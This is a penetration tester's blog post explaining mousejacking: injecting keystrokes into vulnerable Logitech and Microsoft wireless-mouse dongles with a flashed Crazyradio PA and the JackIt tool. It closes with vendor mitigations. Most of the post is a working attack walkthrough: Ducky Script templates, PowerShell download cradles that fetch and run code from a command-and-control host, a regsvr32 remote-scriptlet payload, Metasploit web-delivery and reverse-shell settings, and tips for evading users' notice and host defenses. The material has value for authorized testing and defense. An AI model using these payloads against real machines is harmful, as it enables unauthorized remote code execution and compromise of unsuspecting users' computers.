Peripheral Pwnage
Hostile Airwaves: Mousejacking
On internal engagements, poisoning name resolution requests on the local network (à la Responder) is one of the tried and true methods of obtaining that coveted set of initial Domain credentials. While this approach has worked on many clients (and has even given up Domain Admin in less time than it takes to grab lunch), what if Link Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NTB-NS) protocols are configured securely or disabled? Or, what if Responder was so successful that you now want to prove other means of gaining that initial foothold? Let’s explore…
There are a multitude of attacks a penetration tester can leverage when conducting physical walkthroughs of client spaces. One of the more interesting, and giggle-inducing, involves exploiting wireless peripherals. This technique, known as “mousejacking”, gained some notoriety in early 2016 when Bastille, a firm specializing in wireless and Internet of Things (IoT) threat detection, released a whitepaper documenting the issue. At a high-level, the attack involves exploiting vulnerable 2.4 GHz input devices by injecting malicious keystrokes (even if the target is only using a wireless mouse) into the associated USB dongle. This is made possible because many wireless mice (and a handful of keyboards) either don’t use encryption between the device and its paired USB dongle, or will accept rogue keystrokes even if encryption is being utilized. WIRELESS WHOOPSIE!
You Vulnerable, Bro?
At this point, you are probably wondering which input devices are vulnerable. While a more comprehensive list can be found on Bastille’s website, I’ve personally had the most experience with Microsoft and Logitech products while on engagements.
Vulnerable Microsoft products include, and most certainly aren’t limited to, the following devices:
With Logitech, devices that are likely to be affected are ones that leverage the “Unifying” dongle, which is meant to work with a large number of wireless input devices the company produces. The dongle can be easily identified by an orange star printed on the hardware:
Have Your Hardware Handy
To help us conduct our mousejacking attack, we need to first acquire SeeedStudio’s Crazyradio PA USB dongle and antenna. This is a ~$30 long-range 2.4 GHz wireless transmitter (which uses the same series of transceiver, Nordic Semiconductor’s nRF24L, that many of the vulnerable devices leverage) that is intended for use on hobby drones; however, we are going to flash the firmware (courtesy of Bastille) to weaponize it for our own nefarious purposes. *EVIL CACKLE* This new firmware will allow the dongle to act promiscuously, adding packet sniffing and injection capabilities. Once the Crazyradio PA is in hand, the instructions for setting it up with new firmware can be found here.
It is also helpful to have one or more known vulnerable devices on hand to leverage for testing. In my personal lab, I am utilizing Logitech’s m510 Wireless Mini Mouse and Microsoft’s Wireless Mobile Mouse 4000.
JackIt In The Office (But Don’t Get Caught…)
The software of choice for this scenario is going to be JackIt, a python script written by phiksun (@phikshun) and infamy (@meshmeld). The project leverages the work of Bastille and simplifies both identification of devices and the attack delivery. Using Kali, or your distribution of choice, go ahead and grab the script:
$ git clone https://github.com/insecurityofthings/jackit.git /opt/
Take a gander at the README.md
file and follow the instructions to install JackIt. Once that is completed, ensure that the flashed Crazyradio PA dongle is plugged in prior to starting up the tool. Failure to do so will cause JackIt to throw an error. Let’s start by running JackIt without any arguments, which will put the tool into reconnaissance mode, allowing you to see what wireless input devices are in range:
/opt/jackit/$ ./jackit.py
Take a few moments to inspect JackIt’s output before continuing:
When a device is discovered, a new row is created with a number assigned in the KEY
column based on order of initial appearance. You will need to reference this number when targeting a particular device (more on that shortly). The ADDRESS
column shows the hardware MAC address for the wireless device. This can be useful when determining whether you’ve previously seen / targeted a particular device (JackIt does not keep track of your previously targeted devices, so when working with multiple devices, you’ll need to keep track of them yourself). The TYPE
column displays the brand of the device once enough packets are captured by JackIt to accurately identify. Note that in the screenshot above that the second device (KEY 2
) has not been adequately fingerprinted yet.
The COUNT
and SEEN
columns relate to wireless communication detected between a device and its dongle. COUNT
refers to the number of times communication between the device and dongle were picked up by the Crazyradio PA. SEEN
informs us how many seconds have passed since the last communication was detected. Devices that haven’t been detected in a while are either a) not being actively used at the moment or b) no longer in range. With the former, there is a potential that the user has locked their computer and stepped away. In either case, these are probably not ideal targets.
The CHANNELS
column notates the channel(s) that the wireless peripheral and dongle are utilizing to communicate. Lastly, PACKET
shows the contents of the last captured communication. For our purposes, we can ignore these two column(s).
To actually exploit devices that are discovered, JackIt will need to know what malicious keystrokes to send to a victim. The tool takes commands in Ducky Script format, the syntax leveraged by the Rubber Ducky, a keystroke-injecting USB thumb drive created by Hak5. Whereas a Rubber Ducky requires Duckyscript to be encoded prior to being used for exploitation, this is not the case for JackIt… simply pass the “plaintext” commands in a text file. If you are unfamiliar with Duckyscript, please refer to Hak5’s readme page to get your learn on.
A recommended starting point for a Duckyscript mousejacking template can be found below. Given that it may be possible for a user to see a mousejacking attempt in progress, an attempt has been made to streamline the attack as much as possible without sacrificing accuracy. DELAY
times are much shorter than with traditional Rubber Ducky scripts as there is no need to wait for driver installation since we are not physically plugging a USB device into the victim’s machine. In addition to keeping the DELAY
values low, it is also helpful to shorten the actual attack payload as much as possible. The reason here is twofold, less keystrokes means less time to send characters to the victim (each keystroke is literally “typed” out on the target and can draw attention to the attack) as well as lessening the chance of any data-in-transit issues (wireless attacks can be unstable, with possible lost or malformed characters). We will discuss these types of issues in greater detail later on.
GUI r
DELAY 300
STRING ***INSERT MALICIOUS PAYLOAD HERE***
DELAY 300
ENTER
ENTER
Using the script above, JackIt would open the Windows “run” prompt, pause briefly, pass whatever malicious payload we specify, pause briefly, then submit the command. To give you an idea of the speed of keystroke injection as well as user’s visibility of active mousejacking attack, I have recorded a clip of sending a string of character’s to a victim’s machine using the above template:
As you can see, even though we have taken steps to steamline the attack, there is still a window (no pun intended, I promise!) in which a user could be alerted to our activities.
Note: If the keystrokes injected had been calling a valid program such as powershell.exe
, the window would have closed at the end of the injection once the program had executed. In this case, the submitted run prompt window popped back up and highlighted the text when it was unable to properly process the command.
From Mouse To RAT
Next stop, Exploitation Station! For most scenarios, there will be a minimum of two machines required. The “attack” machine will have the Crazyradio PA dongle attached and JackIt running. The operator of this machine will walk near or through the target’s physical workspace in order to pick up wireless input devices in use. Any payloads submitted by this machine will direct the victims to reach out to the second machine which is hosting the command & control (C2) server that is either sitting somewhere on the client’s internal network or up in the cloud.
So, what malicious payload should we use? PowerShell one-liners that can deliver remotely hosted payloads are a great starting point. The Metasploit Framework has a module (exploit/multi/script/web_delivery
) built specifically for this purpose.
Let’s take a look at the Web Delivery module’s options:
Note the default exploit target value is set to Python. To leverage PowerShell as the delivery mechanism we will need to run SET TARGET 2
. This will ensure our generated payload uses the PowerShell download cradle pentesters and malicious actors have come to love! In most cases, we will want to set both SRVHOST
and LHOST
to point to the machine running the Web Delivery module, which is acting as the C2 server. SRVPORT
will set the port for hosting the malicious payload while LPORT
sets the port for the payload handler. While it is usually recommended that you use a stageless payload (such as windows/meterpreter_reverse_https
) whenever possible in an attempt to increase the chance of successfully bypassing any anti-virus solutions that may be in place, attempting to do so with the Web Delivery module will result in an error. This is due to the payload exceeding Window’s command line limit of approximately 8192 characters (Cobalt Strike payloads bypass this limitation through compression, but that’s another deep dive altogether). Given this limitation, let’s use a staged payload instead: windows/meterpreter/reverse_https
. Lastly, let’s set the URIPATH
to something short and sweet (/a
) to avoid Metasploit generating a random multi-character string for us. Once everything is set up, the module’s options should look similar to the following:
Let’s go ahead and run the module to generate our PowerShell one-liner and start our payload handler:
As mentioned previously, the preference for this type of attack is to have as short of a string as possible. What the Web Delivery module generates is a little longer than I like for most mousejacking attempts:
powershell.exe -nop -w hidden -c $v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://192.168.2.10/a');
This doesn’t look like a vanilla PowerShell download cradle, does it? The module generates a random variable ($v
in this example) and uses that to obfuscate the cradle in order to bypass some defenses. Additionally, there are commands that make the cradle proxy-aware which might assist in the payload successfully calling out to the Internet (potentially helpful if your C2 server resides in the cloud).
We can certainly shorten this payload and have it still work, but we have to consider the benefits vs. tradeoffs of doing so. If our C2 server is internal to the client’s network, we can remove the proxy-related commands and still leave some obfuscation of the cradle intact. Or, if we are looking for the absolutely shortest string, we can remove all obfuscation and restore a more standard-looking download cradle. It ultimately comes down to evading user detection vs. evading host-based protections. Below are examples of each modification:
powershell.exe -nop -w hidden -c $v=new-object net.webclient;IEX $v.downloadstring('http://192.168.2.10/a'); powershell.exe -nop -w hidden -c IEX(new-object net.webclient).downloadstring('http://192.168.2.10/a');
Now that we’ve set up our C2 server and have our malicious string in place, we can modify the Duckyscript template from earlier, making sure to save it locally:
GUI r
DELAY 300
STRING powershell.exe -nop -w hidden -c IEX(new-object net.webclient).downloadstring('http://192.168.2.10/a');
DELAY 300
ENTER
ENTER
To use JackIt for exploitation vs. reconnaissance, simply call the Duckyscript file with the --script
flag:
/opt/jackit/$ ./jackit.py --script ducky-script.txt
In the screenshot below, we can see that we have discovered two wireless peripherals that have been fingerprinted by JackIt. When we are ready to launch our mousejack attack, simply press CTRL-C
:
We can select an individual device, multiple devices, or simply go after all that were discovered. Once we’ve made our selection and hit ENTER
, our specified attack will launch. Depending on the brand of device targeted, you may see many 10ms add delay
messages on your screen before the completion of the script. You’ll know that JackIt has finished when you see the following message: [+] All attacks completed
.
Let’s take a look at our Web Delivery module and see if any of the attacks were successful:
Looks like we got a hit! While we had attempted to mousejack two targets, only one successfully called back. There are several reasons why a mousejacking attempt might fail and we will discuss those shortly.
So, we’ve now successfully used Metasploit’s Web Delivery module in conjunction with JackIt to compromise a wireless peripheral. There are other frameworks we can utilize that offer similar PowerShell one-liners, including Cobalt Strike and Empire. Let’s briefly talk about Cobalt Strike, since there is a non-PowerShell payload that I like to use for mousejacking.
Cobalt Strike has an attack called Scripted Web Delivery, which is similar to Metasploit’s Web Delivery, but offers more payload options. While there is a PowerShell option available, I am partial to the regsvr32
payload as it’s short and sweet; however, this does require Microsoft Office to be installed on the target system as it leverages Visual Basic for Applications (VBA) macros and Component Object Model (COM) scriptlets:
The payload looks similar to the following once everything is configured:
regsvr32 /u /n /s /i:http://192.168.2.10:80/a scrobj.dll
How this payload works is outside the scope of this article, but if you’re interested in learning more, please check out Casey Smith’s (@subTee) blog post.
Before we continue, I want to mention that I’ve had issues starting up JackIt again after a successful attack, receiving an error message like the one below:
I’ve been able to reproduce this error on Kali running within VMWare as well as a standalone Kali box. Let me know if you experience this phenomenon on other flavors of Linux. The only way to get around this error other than restarting the operating system is to unbind and then rebind the USB drivers for the CrazyRadio PA dongle. This can be achieved by unplugging and then replugging in the CrazyRadio PA or by issuing some specific commands via the console. Luckily for you, my awesome coworker Dan Astor (@illegitimateDA), wrote a Bash script to do all that magic for you. Just simply run the following script whenever the error message shows its ugly face and then rerun JackIt:
#!/bin/bash
#Tool :: USB device reset script developed for use with JackIt & CrazyRadio PA USB Adapter
#Author :: Dan Astor (@illegitimateDA)
#Usage :: After running an attack with JackIt, run the script to reset the USB adapter. This will fix the USB Core Error Python throws.
#Unbind USB devices from the system and rebind them
for device in /sys/bus/pci/drivers/uhci_hcd/*:*; do
#Unbind the device
echo "${device##*/}" > "${device%/*}/unbind"
#Bind the device
echo "${device##*/}" > "${device%/*}/bind"
done
I Was Told There Would Be Shells…
So, here we are, owning and pwning unsuspecting victims who fail to know the danger in the dongle. But, what if all doesn’t go according to plan? What if we unleash an attack on multiple peripherals only to discover that there are no shells waiting for us? THE HORROR!
First things first: let’s discuss range. Quite honestly, the antenna that comes with the CrazyRadio PA isn’t an amazing performer despite the dongle being advertised as “long-range.” It only takes one missing or malformed character in our attack string to rain on our pwnage parade. I’ve seen missing characters on more than one occasion and have even witnessed run prompts that have endless string of forward slashes that prevent the run prompt from closing, leaving the user no choice but to reboot the affected computer. These situations are not desirable as we don’t receive shells (BOO!), users are potentially alerted to our attacks (BOO TIMES TWO!), and we may even negatively affect the productivity of our client’s employees (CLIENT RAGE!). Based on my experience, I believe many of these issues can be avoided by improving signal strength. I’ve had some luck with powerful Alfa antennas, such as the 9dBi Wifi Booster. The only issue with this particular choice is that one tends to draw a lot of attention walking around with a 15″ antenna sticking out of the side of a laptop. 😛 My advice: experiment with different options and find one that you find reliable at the greatest range.
Second thing to note: Microsoft wireless devices can be tricky little buggers to target. This is because unlike Logitech peripherals, Microsoft utilizes sequence numbers for every communication between device and dongle. JackIt monitors the sequence numbers but if the user performs some action (clicks a button, moves the mouse, etc.) before the attack is delivered, the sequence numbers will no longer align and we will once again find ourselves with missing or malformed characters. While sometimes difficult to pull off, I prefer to have “eyes on” a target if they are using a Microsoft peripheral in order to figure out the ideal time to launch the attack. If I’m completely blind and have both Microsoft and Logitech devices in range, I tend to err on the side of caution and target a Logitech device.
Third consideration: how we choose to construct the URL that points to our payload matters. I found this out the hard way on a recent engagement. Leveraging Cobalt Strike, I had hosting a payload with a URL similar to the examples presented earlier in this post (http://ip_address/a
). After launching an attack on a promising target, I discovered that there was no shell waiting for me on the C2 server. Upon inspecting Cobalt Strike’s Web Log, I saw a message similar to the following:
This was perplexing; why did my target attempt to reach an URL ending in a capital /A
? Had a somehow mistyped the attack string in my DuckyScript file? After a quick check, this was ruled out. Then, it hit me… the user must have had CAPS LOCK
enabled! I was shell-blocked by something so stupid! Ever since that engagement, I leverage numbers (i.e. /1
) in my mousejacking URLs to prevent similar issues in the future.
Lastly, there are some remediation actions that the client may have taken. Which brings us to…
What’s A Poor Dongle To Do?
The easiest solution to the problem of mousejacking is relatively obvious: stick to wired peripherals (or migrate to Bluetooth). That being said, both Microsoft and Logitech have attempted mitigation strategies for their affected products if you are absolutely in love with your 2.4 GHz device.
Microsoft released a Security Advisory in April 2016 with a corresponding optional update. The update attempts to add more robust filtering at the dongle so that rogue keystrokes are detected and properly discarded. Researchers who have tested the update say it’s relatively “hit or miss”, with some devices remaining vulnerable even after the patch is applied.
Logitech has taken a different approach, requiring users to manually apply a firmware update in order to remedy the issue. It’s a multi-step procedure that may prove difficult for less technical end users to apply or too cumbersome for IT departments to handle a massive manual update across the entire user population.
Given these facts, I have a feeling that we will be finding mousejack-able devices within enterprises for a while to come. If within the scope of your engagement, consider adding mousejacking to your toolbox of destruction!
Erlend
Protip, run the jackit module with the –reset flag.
Jonathan
Protip indeed! I’ll be sure to update the blog post!